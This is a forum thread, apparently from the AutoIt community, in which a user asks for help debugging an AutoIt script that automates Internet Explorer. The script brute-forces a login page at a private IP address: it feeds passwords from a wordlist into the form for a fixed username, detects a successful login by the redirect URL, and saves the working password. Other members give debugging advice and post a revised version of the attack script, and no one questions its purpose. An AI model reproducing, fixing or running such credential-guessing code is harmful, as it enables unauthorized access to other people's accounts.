Jump to content

Unknown Problem!


Recommended Posts

This is the code and I can't determine where is the error.A Message box with error shows that the error is behind $oIE.GoBack() but I don't see it.Help me guys I'm really stuck.

#include <IE.au3>
#include <GUIConstants.au3>

GUICreate("Show", 200, 100, 0, 0, $WS_POPUPWINDOW)
GUISetState(@SW_SHOW)
$n = 2
$file = FileOpen("data.txt", 0)
$oIE = _IECreate ("http://10.9.7.77/login.php")

While 1
    GUICtrlCreateLabel($n, 30, 10)
    $str = FileReadLine($file, $n)
    $oForm = _IEFormGetCollection ($oIE, 0)
    $oUser = _IEFormElementGetCollection ($oForm, 0)
    $oPass = _IEFormElementGetCollection ($oForm, 1)
   _IEFormElementSetValue ($oUser, "bggashnik")
   _IEFormElementSetValue ($oPass, $str)
   _IEFormSubmit ($oForm)
   Sleep(300)
   FileDelete("remember.txt")
   FileWrite("remember.txt", $n)
   If _IEPropertyGet ($oIE, "locationurl") == "http://10.9.7.77/my.php" Then 
       FileWrite("answer.txt", $str)
       Run("close.exe")
   EndIf
   $oIE.GoBack()
   $n += 2
WEnd

post-28296-1192905662_thumb.jpg

Link to comment
Share on other sites

This is the code and I can't determine where is the error.A Message box with error shows that the error is behind $oIE.GoBack() but I don't see it.Help me guys I'm really stuck.

#include <IE.au3>
#include <GUIConstants.au3>

GUICreate("Show", 200, 100, 0, 0, $WS_POPUPWINDOW)
GUISetState(@SW_SHOW)
$n = 2
$file = FileOpen("data.txt", 0)
$oIE = _IECreate ("http://10.9.7.77/login.php")

While 1
    GUICtrlCreateLabel($n, 30, 10)
    $str = FileReadLine($file, $n)
    $oForm = _IEFormGetCollection ($oIE, 0)
    $oUser = _IEFormElementGetCollection ($oForm, 0)
    $oPass = _IEFormElementGetCollection ($oForm, 1)
   _IEFormElementSetValue ($oUser, "bggashnik")
   _IEFormElementSetValue ($oPass, $str)
   _IEFormSubmit ($oForm)
   Sleep(300)
   FileDelete("remember.txt")
   FileWrite("remember.txt", $n)
   If _IEPropertyGet ($oIE, "locationurl") == "http://10.9.7.77/my.php" Then 
       FileWrite("answer.txt", $str)
       Run("close.exe")
   EndIf
   $oIE.GoBack()
   $n += 2
WEnd

post-28296-1192905662_thumb.jpg

I've never used these functions so I'm not a lot of help, but presumably GoBack is failing because there is no further history of urls to go back to. There is probably some way to check this before you call GoBack.

Serial port communications UDF Includes functions for binary transmission and reception.printing UDF Useful for graphs, forms, labels, reports etc.Add User Call Tips to SciTE for functions in UDFs not included with AutoIt and for your own scripts.Functions with parameters in OnEvent mode and for Hot Keys One function replaces GuiSetOnEvent, GuiCtrlSetOnEvent and HotKeySet.UDF IsConnected2 for notification of status of connected state of many urls or IPs, without slowing the script.
Link to comment
Share on other sites

I think this should do the trick

#include <IE.au3>
#include <GUIConstants.au3>

GUICreate("Show", 200, 100, 0, 0, $WS_POPUPWINDOW)
GUISetState(@SW_SHOW)
$n = 2
$file = FileOpen("data.txt", 0)
$oIE = _IECreate ("about:Blank")
_IENavigate( $oIE, "http://10.9.7.77/login.php")


While 1
    GUICtrlCreateLabel($n, 30, 10)
    $str = FileReadLine($file, $n)
    $oForm = _IEFormGetCollection ($oIE, 0)
    $oUser = _IEFormElementGetCollection ($oForm, 0)
    $oPass = _IEFormElementGetCollection ($oForm, 1)
   _IEFormElementSetValue ($oUser, "bggashnik")
   _IEFormElementSetValue ($oPass, $str)
   _IEFormSubmit ($oForm)
   Sleep(300)
   FileDelete("remember.txt")
   FileWrite("remember.txt", $n)
   If _IEPropertyGet ($oIE, "locationurl") == "http://10.9.7.77/my.php" Then
       FileWrite("answer.txt", $str)
       Run("close.exe")
   EndIf
   $oIE.GoBack
   $n += 2
WEnd

8)

NEWHeader1.png

Link to comment
Share on other sites

Thanks but that does'nt work too-the same error.Fortunately I found out where is the problem:

The first time when AutoIt inputs the $str variable in the form there's no problem but the computer doesn;t input a text second time in the form and when .GoBack() method is called an error show cause there's no back option-it's impossible to go back anymore.So the main problem is how to make the AutoIt puts a value every time in the while cycle.

Thank you for your answers

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...